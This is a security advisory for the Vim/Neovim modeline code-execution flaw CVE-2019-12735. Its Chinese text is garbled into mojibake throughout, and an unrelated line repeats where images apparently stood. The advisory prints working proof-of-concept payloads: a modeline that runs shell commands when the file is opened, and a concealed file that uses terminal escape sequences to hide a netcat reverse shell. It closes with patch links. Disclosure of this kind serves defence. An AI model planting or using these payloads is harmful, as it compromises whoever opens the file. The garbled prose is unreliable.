VimºÍNeovimí§Òâ´úÂëÖ´ÐÐÎó²îÇ徲ͨ¸æ

Ðû²¼Ê±¼ä 2019-06-06

Îó²î±àºÅºÍ¼¶±ð


CVE±àºÅ£ºCVE-2019-12735£¬£¬£¬£¬ £¬£¬Î£ÏÕ¼¶±ð£º¸ßΣ£¬£¬£¬£¬ £¬£¬CVSS·ÖÖµ£º8.6


ÊÜÓ°ÏìµÄ°æ±¾


Vim < 8.1.1365

Neovim < 0.3.6


Îó²î¸ÅÊö


VimÊÇÒ»¿î¹¦Ð§Ç¿Ê¢¡¢¸ß¶È¿É¶¨ÖƵÄÎı¾±à¼­Æ÷ ¡£¡£¡£¡£¡£¡£¡£ÓÉÓÚVimÔÚ´úÂ벹ȫ¡¢±àÒë¼°Àû±ã±à³ÌµÈ·½ÃæºÜÊÇǿʢ£¬£¬£¬£¬ £¬£¬Òò´ËÔÚ³ÌÐòÔ±Öб»ÆÕ±éʹÓ㬣¬£¬£¬ £¬£¬³ÉΪÀàUnixϵͳÓû§×îϲ»¶µÄÎı¾±à¼­Æ÷Ö®Ò» ¡£¡£¡£¡£¡£¡£¡£


Îı¾±à¼­Æ÷Vim/Neovim±£´æÑÏÖØÎó²î£¬£¬£¬£¬ £¬£¬Í¨¹ý·­¿ªÌØÊâ½á¹¹µÄÎı¾Îļþ£¬£¬£¬£¬ £¬£¬Ä£Ê½ÐÐÑ¡Ïîδ±»½ûÓõϰ£¬£¬£¬£¬ £¬£¬¾Í¿Éµ¼ÖÂVim/Neovimí§Òâ´úÂëÖ´ÐÐÎó²î ¡£¡£¡£¡£¡£¡£¡£Îó²î³ÉÒòÊÇģʽÐÐÖнöÔÊÐíÑ¡Ïî×Ó¼¯£¬£¬£¬£¬ £¬£¬ÈôÊÇÑ¡ÏîµÄÖµ°üÀ¨Ò»¸ö±í´ïʽ£¬£¬£¬£¬ £¬£¬¾Í¿ÉÒÔÔÚɳÏäÖÐÔËÐÐ ¡£¡£¡£¡£¡£¡£¡£:source! ÏÂÁî¿ÉÈÆ¹ýɳÏ䣬£¬£¬£¬ £¬£¬Ëü¿ÉÒԴӼȶ¨ÎļþÖжÁÈ¡²¢Ö´ÐÐÏÂÁ£¬£¬£¬ £¬£¬Òò´Ë¿ÉÒÔÇáËɹ¹½¨ÔÚɳÏäÍâÔÊÐíÔËÐдúÂëµÄģʽÐÐ ¡£¡£¡£¡£¡£¡£¡£


Îó²îÑéÖ¤


POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md ¡£¡£¡£¡£¡£¡£¡£


µÚÒ»ÖÖ£º
²âÊÔ°æ±¾ÈçÏ£º
 
ÍòÀû¹ú¼Ê¹ÙÍø(ÖйúÓÎ)ÓÐÏÞ¹«Ë¾

1¡¢½¨Éèpoc.txt


:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="


2¡¢È·±£Î´½ûÓÃmodelineÑ¡Ïî(:set modeline)


ʹÓÃÈçÏÂÏÂÁîÉó²éÏÂÁîλÖÃ


ÍòÀû¹ú¼Ê¹ÙÍø(ÖйúÓÎ)ÓÐÏÞ¹«Ë¾

 
ÈçÏ£º
 

ÍòÀû¹ú¼Ê¹ÙÍø(ÖйúÓÎ)ÓÐÏÞ¹«Ë¾ 


ÍòÀû¹ú¼Ê¹ÙÍø(ÖйúÓÎ)ÓÐÏÞ¹«Ë¾


3¡¢ÔÚvimÖз­¿ª¸Ãtxt


vim poc.txt
È»ºóϵͳ»áÖ´ÐÐ uname -a&&whoami

 

ÍòÀû¹ú¼Ê¹ÙÍø(ÖйúÓÎ)ÓÐÏÞ¹«Ë¾


µÚ¶þÖÖ£¬£¬£¬£¬ £¬£¬½¨Éè·´µ¯shell


¸ÃPoCÐÎòÁËÒ»ÖÖÕæÊµµÄ¹¥»÷ÒªÁ죬£¬£¬£¬ £¬£¬ÆäÖÐÒ»µ©Óû§·­¿ªÎļþ¾ÍÆô¶¯·´µ¯shell ¡£¡£¡£¡£¡£¡£¡£ ΪÁËÒþ²Ø¹¥»÷£¬£¬£¬£¬ £¬£¬Îļþ½«ÔÚ·­¿ªÊ±Á¬Ã¦ÖØÐ´ ¡£¡£¡£¡£¡£¡£¡£ 

±ðµÄ£¬£¬£¬£¬ £¬£¬µ±Ê¹ÓÃcat´òÓ¡ÄÚÈÝʱ£¬£¬£¬£¬ £¬£¬PoCʹÓÃÖÕ¶ËתÒåÐòÁÐÀ´Òþ²ØÏÂÁîÐÐ ¡£¡£¡£¡£¡£¡£¡££¨¶øÊ¹ÓÃcat -v¿ÉÒÔÏÔʾÏÖʵÄÚÈÝ ¡£¡£¡£¡£¡£¡£¡££©


shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

 

ÍòÀû¹ú¼Ê¹ÙÍø(ÖйúÓÎ)ÓÐÏÞ¹«Ë¾


ÐÞ¸´½¨Òé



Éý¼¶µ½Vim 8.1.1365¡¢Neovim 0.3.6»òÒÔÉϰ汾£¬£¬£¬£¬ £¬£¬±ðµÄ½¨Òé½ûÓÃģʽÐУ¬£¬£¬£¬ £¬£¬Ê¹ÓÃsecuremodelines²å¼þ ¡£¡£¡£¡£¡£¡£¡£


Vim²¹¶¡8.1.1365£º 

https://github.com/vim/vim/commit/5357552


Neovim²¹¶ ¡£¡£¡£¡£¡£¡£¡£¨ÔÚv0.3.6ÖÐÐû²¼£©£º
https://github.com/neovim/neovim/pull/10082

https://github.com/neovim/neovim/releases/tag/v0.3.6


²Î¿¼Á´½Ó


https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md